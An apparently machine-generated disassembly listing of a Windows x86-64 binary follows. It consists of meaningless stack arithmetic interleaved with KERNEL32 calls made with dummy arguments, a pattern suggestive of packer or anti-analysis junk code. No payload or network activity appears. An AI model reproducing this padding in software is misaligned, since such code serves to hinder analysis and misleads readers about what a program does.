sub eax, ecx
mov byte [rsp + 0x752], al
mov eax, dword [0x14036a00c]
mov ecx, dword [rsp + 0x9e08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5514], eax
mov rax, qword [rsp + 0x13680]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e30]
shl eax, cl
mov dword [rsp + 0x9198], eax
movsx eax, byte [rsp + 0x751]
mov rcx, qword [0x14036a0a0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140369ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13fc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14060]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11b0], ax
lea rax, [rsp + 0x2d74]
mov qword [rsp + 0x15608], rax
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [0x140363eff]
and eax, ecx
mov byte [rsp + 0x585], al
lea rax, [rsp + 0xa128]
mov qword [rsp + 0x15610], rax
mov eax, dword [rsp + 0xa128]
mov ecx, dword [rsp + 0x9ffc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13298]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x14018]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa1cc], eax
mov eax, dword [rsp + 0x94d0]
mov ecx, dword [rsp + 0x9f44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x135d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5c48]
mov dword [rsp + 0xa1f8], eax
mov eax, dword [rsp + 0x83d0]
mov ecx, dword [rsp + 0x8860]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b84], eax
lea rax, [rsp + 0x755]
mov qword [rsp + 0x15618], rax
mov rax, qword [0x140369ef0]
movzx eax, word [rax]
mov word [0x14036a1e0], ax
mov rax, qword [rsp + 0x14608]
mov ecx, dword [rsp + 0x93fc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14ae8]
mov dword [rcx], eax
mov eax, dword [0x1403624fc]
mov ecx, dword [rsp + 0x8f50]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14518]
mov dword [rcx], eax
lea rax, [rsp + 0x7384]
mov qword [rsp + 0x15620], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4b250]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa1bc], eax
mov rax, qword [rsp + 0x13d60]
mov ecx, dword [rsp + 0x9ddc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13d60]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15628], rax
mov rax, qword [rsp + 0x13b20]
movzx eax, word [rax]
movzx ecx, word [0x14036a1e0]
sub eax, ecx
mov word [rsp + 0x1764], ax
movzx eax, byte [rsp + 0x734]
mov rcx, qword [rsp + 0x13f88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
mov rax, qword [rsp + 0x14938]
movzx eax, byte [rax]
mov byte [rsp + 0x79f], al
mov rax, qword [rsp + 0x14920]
movsx eax, word [rax]
movsx ecx, word [0x1403624e8]
sub eax, ecx
mov rcx, qword [rsp + 0x14fd0]
mov word [rcx], ax
lea rax, [rsp + 0x92dc]
mov qword [0x14036a1e8], rax
mov rax, qword [rsp + 0x13fb0]
mov ecx, dword [rsp + 0x9a90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d18], eax
lea rax, [rsp + 0x13b]
mov qword [rsp + 0x15630], rax
mov rax, qword [rsp + 0x14e58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14e18]
mov word [rcx], ax
mov eax, dword [rsp + 0x9c7c]
mov dword [rsp + 0xa1fc], eax
mov dword [rsp + 0x20], 0x78c
mov r9d, 0x3f8d
mov r8d, 0x3441
mov edx, 0x1b41
mov rcx, qword [rsp + 0x13348]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa120], eax
mov eax, dword [0x140369b98]
movzx ecx, al
mov eax, dword [rsp + 0x9ff0]
shr eax, cl
mov dword [rsp + 0x9074], eax
mov rax, qword [rsp + 0x14910]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9f04]
shl eax, cl
mov rcx, qword [rsp + 0x13880]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa178]
mov ecx, dword [rsp + 0x9dd4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x63d0], eax
movzx eax, byte [0x140363f1f]
movzx ecx, byte [rsp + 0x742]
imul eax, ecx
mov rcx, qword [rsp + 0x14510]
mov byte [rcx], al
mov rax, qword [rsp + 0x15190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x151d0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140362448], ax
lea rax, [rsp + 0xa1c4]
mov qword [rsp + 0x15638], rax
mov eax, dword [rsp + 0x6a40]
mov ecx, dword [rsp + 0xa16c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x98e4], eax
mov rax, qword [rsp + 0x14770]
mov ecx, dword [rsp + 0x9c38]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14f90]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
lea rax, [rsp + 0x9a70]
mov qword [rsp + 0x15640], rax
mov rax, qword [rsp + 0x13498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x77cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x98e4], eax
mov rax, qword [rsp + 0x13468]
movzx eax, word [rax]
mov word [rsp + 0x2d84], ax
mov rax, qword [rsp + 0x13a58]
movsx eax, byte [rax]
mov rcx, qword [0x14036a0a0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x145f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bfc]
add eax, ecx
mov word [rsp + 0x2324], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15648], rax
movzx eax, byte [rsp + 0x72b]
movzx ecx, byte [rsp + 0x88]
and eax, ecx
mov rcx, qword [0x140369ee0]
mov byte [rcx], al
lea rax, [0x140369ed0]
mov qword [rsp + 0x15650], rax
mov rax, qword [rsp + 0x15610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5fe8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e54], eax
lea rax, [rsp + 0x2324]
mov qword [rsp + 0x15658], rax
movzx eax, byte [rsp + 0x799]
movzx ecx, byte [rsp + 0x1f3]
sub eax, ecx
mov byte [rsp + 0x752], al
mov eax, dword [rsp + 0x69f4]
mov ecx, dword [rsp + 0x86dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x979c], eax
mov eax, dword [rsp + 0xa098]
movzx ecx, al
mov eax, dword [rsp + 0x9dd8]
shr eax, cl
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15478]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369c68]
shl eax, cl
mov dword [rsp + 0xa09c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9b5c], eax
mov eax, dword [rsp + 0x9b38]
mov dword [rsp + 0xa200], eax
mov rax, qword [rsp + 0x14728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c74]
xor eax, ecx
mov word [0x140362520], ax
mov rax, qword [0x140369e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x153f8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x2b0], al
lea rax, [rsp + 0x940c]
mov qword [rsp + 0x15660], rax
mov rax, qword [rsp + 0x14a00]
mov rcx, qword [0x140369e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x77d]
mov rcx, qword [rsp + 0x13900]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x319], al
movzx eax, word [rsp + 0x1e24]
mov word [rsp + 0x2d88], ax
mov rcx, qword [rsp + 0x13ff0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa204], eax
movzx eax, byte [rsp + 0x79e]
movzx ecx, byte [0x1403525af]
add eax, ecx
mov byte [rsp + 0x763], al
movzx eax, word [rsp + 0x29ac]
movzx ecx, word [rsp + 0x2d0c]
sub eax, ecx
mov word [rsp + 0x2090], ax
mov rax, qword [rsp + 0x14648]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a00]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7ca4]
mov ecx, dword [rsp + 0x8dd4]
sub ecx, eax
mov eax, ecx
mov dword [0x140362504], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x14ea8]
mov rcx, qword [rsp + 0x13938]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x134f8]
mov eax, dword [rax]
mov dword [rsp + 0xa208], eax
mov rax, qword [0x14036a070]
mov rcx, qword [rsp + 0x14f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x151f0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1bfc]
mov rcx, qword [rsp + 0x13848]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2af0], ax
mov edx, 0x112
mov rcx, qword [rsp + 0x15538]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa130], eax
mov rax, qword [rsp + 0x147d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x734]
and eax, ecx
mov byte [rsp + 0x741], al
mov rax, qword [rsp + 0x13f48]
mov eax, dword [rax]
mov dword [rsp + 0xa20c], eax
mov eax, dword [rsp + 0x9b50]
mov ecx, dword [rsp + 0xa208]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ed8]
mov rcx, qword [rsp + 0x14188]
mov qword [rsp + 0x15668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15668]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x92e8], eax
lea rax, [rsp + 0x7df0]
mov qword [0x14036a1f0], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2846
mov r8d, 0x14b1
mov edx, 0x4c
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa210], eax
lea rax, [rsp + 0x2bfc]
mov qword [rsp + 0x15670], rax
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x666]
shl eax, cl
mov rcx, qword [rsp + 0x151c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15430]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x167c], ax
mov rax, qword [rsp + 0x142e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13550]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14868]
mov byte [rcx], al
mov eax, dword [rsp + 0x8f30]
mov ecx, dword [0x140369f88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0a8], eax
mov rax, qword [rsp + 0x14c50]
mov eax, dword [rax]
mov dword [rsp + 0xa214], eax
mov rax, qword [rsp + 0x151c8]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f84]
sub eax, ecx
mov rcx, qword [rsp + 0x14380]
mov byte [rcx], al
lea rdx, [rsp + 0x42958]
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af8], eax
lea rax, [rsp + 0x2bd8]
mov qword [rsp + 0x15678], rax
mov rax, qword [rsp + 0x15550]
mov rcx, qword [rsp + 0x14538]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14036a0a8]
mov dword [rcx], eax
mov rax, qword [0x140369dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13190]
mov ecx, dword [rsp + 0x9ed4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9eb0], eax
mov eax, dword [rsp + 0x7074]
mov dword [rsp + 0xa218], eax
movzx eax, word [rsp + 0x2d3c]
movzx ecx, word [rsp + 0x1bfc]
sub eax, ecx
mov word [rsp + 0x20d8], ax
lea rax, [rsp + 0x266]
mov qword [rsp + 0x15680], rax
mov eax, dword [rsp + 0xa14c]
mov ecx, dword [rsp + 0x9b7c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x136d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139d8]
mov ecx, dword [0x140369c68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x136c0]
mov dword [rcx], eax
lea rax, [rsp + 0x9f20]
mov qword [rsp + 0x15688], rax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov dword [0x14036a1f8], eax
mov rax, qword [rsp + 0x14808]
mov rcx, qword [rsp + 0x14228]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15380]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x15538]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x743]
mov qword [rsp + 0x15690], rax
mov rax, qword [rsp + 0x14280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13d58]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13148]
mov word [rcx], ax
lea rax, [rsp + 0x75e]
mov qword [rsp + 0x15698], rax
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x140369d58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cc4]
cdq
idiv ecx
mov word [rsp + 0x2d30], ax
mov rax, qword [rsp + 0x15220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9fbc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9db4], eax
lea rax, [rsp + 0x7438]
mov qword [rsp + 0x156a0], rax
mov rax, qword [rsp + 0x14230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74d]
sar eax, cl
mov rcx, qword [rsp + 0x13528]
mov byte [rcx], al
movzx eax, word [rsp + 0x288c]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1403624a0], ax
lea rax, [rsp + 0x6658]
mov qword [rsp + 0x156a8], rax
mov rax, qword [0x140369d70]
mov ecx, dword [rsp + 0xa194]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5c14], eax
mov rax, qword [rsp + 0x139d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa01c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9678], eax
lea rax, [0x14036a0b8]
mov qword [rsp + 0x156b0], rax
movzx eax, word [rsp + 0x2b98]
mov rcx, qword [rsp + 0x14d80]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14a28]
mov word [rcx], ax
mov rax, qword [rsp + 0x13120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15618]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a8], al
mov rax, qword [rsp + 0x13b28]
mov ecx, dword [rsp + 0x691c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x144a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x151a8]
mov ecx, dword [rsp + 0x9c90]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13d98]
mov dword [rcx], eax
lea rax, [rsp + 0x6fc]
mov qword [0x14036a200], rax
mov rax, qword [0x140369cf8]
movzx eax, word [rax]
mov word [rsp + 0x2d8c], ax
movzx eax, word [rsp + 0x2b7c]
mov rcx, qword [rsp + 0x13380]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a28]
mov word [rcx], ax
lea rdx, [rsp + 0x43218]
mov rcx, qword [rsp + 0x15108]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f70], eax
movzx eax, byte [rsp + 0x120]
movzx ecx, byte [rsp + 0x69c]
and eax, ecx
mov byte [rsp + 0x376], al
mov eax, dword [rsp + 0xa114]
mov ecx, dword [0x14036251c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e2c], eax
mov eax, dword [rsp + 0x72a4]
mov ecx, dword [rsp + 0x9f10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14580]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9cbc]
mov dword [rsp + 0xa21c], eax
mov eax, dword [rsp + 0x9d54]
movzx ecx, al
mov eax, dword [rsp + 0x9c10]
sar eax, cl
mov dword [rsp + 0x6880], eax
mov rax, qword [rsp + 0x14310]
mov eax, dword [rax]
mov dword [rsp + 0xa220], eax
movzx eax, word [rsp + 0x2d08]
movzx ecx, word [rsp + 0x2ba8]
xor eax, ecx
mov word [rsp + 0x1560], ax
lea rax, [rsp + 0x69c]
mov qword [0x14036a208], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4b5b0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa00c], eax
lea rdx, [rsp + 0x43250]
mov rcx, qword [rsp + 0x13d30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fc4], eax
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9974]
shl eax, cl
mov dword [rsp + 0x96e4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x14b98]
mov ecx, dword [0x140362498]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13b40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x69f4]
mov ecx, dword [rsp + 0x9c78]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5d50]
mov dword [rsp + 0xa224], eax
movzx eax, byte [rsp + 0x52f]
mov rcx, qword [0x140369c98]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15020]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c34]
imul eax, eax, 0xaaa
mov word [rsp + 0x22fc], ax
movsx eax, byte [rsp + 0x6fc]
mov rcx, qword [rsp + 0x15310]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x762], al
movsx eax, word [0x140369ea4]
mov rcx, qword [rsp + 0x14960]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x268c], ax
mov eax, dword [rsp + 0x9f20]
mov ecx, dword [rsp + 0x9a00]
sub ecx, eax
mov eax, ecx
mov dword [0x140369fa8], eax
mov eax, dword [rsp + 0x9c38]
mov dword [rsp + 0xa228], eax
movzx eax, word [rsp + 0x2d70]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov word [rsp + 0x2d48], ax
lea rax, [rsp + 0x13c]
mov qword [rsp + 0x156b8], rax
mov eax, dword [rsp + 0xa184]
mov ecx, dword [rsp + 0x8ac4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x7254]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13978]
mov dword [rcx], eax
lea rax, [rsp + 0x997c]
mov qword [rsp + 0x156c0], rax
mov rax, qword [rsp + 0x14860]
mov ecx, dword [rsp + 0x9b84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x82a8], eax
movzx eax, word [rsp + 0x210c]
mov word [rsp + 0x2d90], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4c210]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ea4], eax
mov rax, qword [rsp + 0x13668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14ab0]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [0x140369d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x137d8]
mov ecx, dword [rsp + 0x9e54]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13bc0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x3008
mov r9d, 0x33e6
mov r8d, 0x2c03
mov edx, 0x165
mov rcx, qword [rsp + 0x14470]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa22c], eax
mov rax, qword [rsp + 0x132b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa09c]
sar eax, cl
mov dword [rsp + 0x8bb4], eax
mov eax, dword [0x140369c08]
mov ecx, dword [rsp + 0xa150]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a84], eax
mov rax, qword [rsp + 0x14b28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa1a8]
shl eax, cl
mov rcx, qword [rsp + 0x14d90]
mov dword [rcx], eax
lea rax, [rsp + 0x9c78]
mov qword [rsp + 0x156c8], rax
movsx eax, word [rsp + 0x154c]
movsx ecx, word [rsp + 0x12cc]
and eax, ecx
mov rcx, qword [rsp + 0x13740]
mov word [rcx], ax
lea rax, [rsp + 0x756]
mov qword [rsp + 0x156d0], rax
movzx eax, byte [rsp + 0x2ce]
movzx ecx, byte [rsp + 0x753]
and eax, ecx
mov byte [rsp + 0x1f7], al
lea rax, [rsp + 0x2ba4]
mov qword [0x14036a210], rax
mov rax, qword [0x14036a0e0]
mov ecx, dword [rsp + 0x9688]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
lea rax, [rsp + 0x9974]
mov qword [rsp + 0x156d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x13998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13e60]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14dd8]
mov word [rcx], ax
lea rax, [rsp + 0x5cb]
mov qword [rsp + 0x156e0], rax
mov rax, qword [rsp + 0x144f8]
mov rcx, qword [rsp + 0x13548]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13318]
mov dword [rcx], eax
mov rax, qword [rsp + 0x153b0]
mov rcx, qword [0x14036a1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13d38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x59cc]
mov dword [rsp + 0xa230], eax
mov rax, qword [rsp + 0x144d0]
mov ecx, dword [rsp + 0x9ae8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13a70]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4b910]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9bf8], eax
mov rax, qword [rsp + 0x15090]
movzx eax, word [rax]
mov rcx, qword [0x140369df0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369dc0]
mov word [rcx], ax
lea rax, [rsp + 0x735]
mov qword [rsp + 0x156e8], rax
mov rcx, qword [rsp + 0x13ff0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x6f2c]
mov ecx, dword [rsp + 0x8e2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1c4], eax
mov rax, qword [rsp + 0x14770]
mov rcx, qword [rsp + 0x156c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x151f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x149f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76e]
add eax, ecx
mov byte [rsp + 0x483], al
mov rax, qword [rsp + 0x13098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14488]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1570], ax
lea rax, [0x1403525ce]
mov qword [rsp + 0x156f0], rax
movzx eax, word [rsp + 0x2b7c]
mov rcx, qword [rsp + 0x13370]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2bc4], ax
lea rax, [rsp + 0xa034]
mov qword [rsp + 0x156f8], rax
mov rax, qword [rsp + 0x14820]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9bfc]
sar eax, cl
mov dword [str.7__], eax
mov rax, qword [rsp + 0x149a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x58e8]
shl eax, cl
mov dword [rsp + 0x7a5c], eax
mov rax, qword [rsp + 0x14fa0]
mov ecx, dword [rsp + 0x5260]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15410]
mov dword [rcx], eax
mov dword [rsp + 0x4cb10], 0x11c
lea rax, [rsp + 0x9ab4]
mov qword [rsp + 0x15700], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9da8], eax
mov rax, qword [rsp + 0x13360]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2afc]
imul eax, ecx
mov word [rsp + 0x2c28], ax
lea rdx, [rsp + 0x43288]
mov rcx, qword [rsp + 0x14550]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa0e8], eax
mov rax, qword [rsp + 0x154c8]
movzx eax, byte [rax]
mov byte [rsp + 0x7a0], al
mov rax, qword [rsp + 0x15098]
mov rcx, qword [rsp + 0x14d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9808]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f28], eax
lea rax, [rsp + 0xa11c]
mov qword [rsp + 0x15708], rax
mov rax, qword [0x140369e78]
mov ecx, dword [rsp + 0x7e50]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14036a020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b88]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2c48], ax
mov rcx, qword [rsp + 0x14f58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x42d48]
mov rcx, qword [rsp + 0x14778]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa210], eax
mov rax, qword [rsp + 0x132c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14948]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0x139f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x771]
sub eax, ecx
mov rcx, qword [rsp + 0x14650]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14d60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15210]
mov word [rcx], ax
mov eax, dword [rsp + 0x5284]
mov dword [rsp + 0xa234], eax
mov rax, qword [rsp + 0x13ca8]
mov rcx, qword [rsp + 0x13088]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x148e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x775]
mov byte [rsp + 0x7a1], al
mov rax, qword [0x140369ba0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cdc]
add eax, ecx
mov word [rsp + 0x2a0c], ax
lea rax, [rsp + 0x75c4]
mov qword [0x14036a218], rax
mov rax, qword [rsp + 0x13318]
mov ecx, dword [rsp + 0x8924]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5464], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa238], eax
mov rcx, qword [rsp + 0x13168]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
